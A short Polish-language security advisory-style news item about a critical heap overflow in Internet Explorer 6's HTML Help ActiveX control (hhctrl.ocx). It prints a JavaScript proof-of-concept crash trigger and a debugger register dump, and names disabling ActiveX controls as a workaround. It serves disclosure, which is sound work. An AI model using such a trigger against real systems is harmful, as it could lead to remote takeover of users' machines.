Krytyczny błąd ActiveX w Microsoft Internet Explorer

Internet Explorer HTML Help ActiveX Control Memory Corruption - tak oznaczony został nowy błąd, wykryty przez HD Moore w przeglądarkach Microsoft Internet Explorer w wersji 6.x. Luka sklasyfikowana została jako wysoce krytyczna, rezultatem włamania jest przejęcie kontroli nad zdalną maszyną.

Luka spowodowana jest błędem HTML ActiveX control pliku hhctrl.ocx w momencie analizowania właściwości wyświetlenia obrazu. Typem ataku jest heap overflow, w następstwie którego dochodzi do błędu pamięci podczas podania zbyt dużej ilości długich strumieni znaków. Błąd jest trudny do wykrycia, chyba że weryfikacja heap została dodana globalnie do parametrów iexplore.exe.

Poniższy przykład przedstawia exploitację heap overflow po podaniu 128 lub więcej iteracji.

var a = new ActiveXObject("Internet.HHCtrl.1");
var b = unescape("XXXX");
while (b.length < 256) b += b;

for (var i=0; i<4096; i++) {
a['Image'] = b + "";
}

Demonstracja

eax=00030288 ebx=00030000 ecx=7ffdd000
edx=00030608 esi=58585850 edi=00000022
eip=7c911f52 esp=0013afcc ebp=0013b1ec
ntdll!RtlAllocateHeap+0x31b:
7c911f52 8a4605 mov al,[esi+0x5] ds:0023:58585855=??

---

Błąd potwierdzony został w wersjach systemu operacyjnego Windows XP SP2 z Microsoft Internet Explorer 6.x. Microsoft został poinformowany o błędzie dnia dzisiejszego, tymczasowym rozwiązaniem problemu może być wyłączenie ustawienia "Run ActiveX controls and plug-ins", do czasu udostępnienia przez Microsoft odpowiednich aktualizacji.

Realizacja: SIPLEX Studio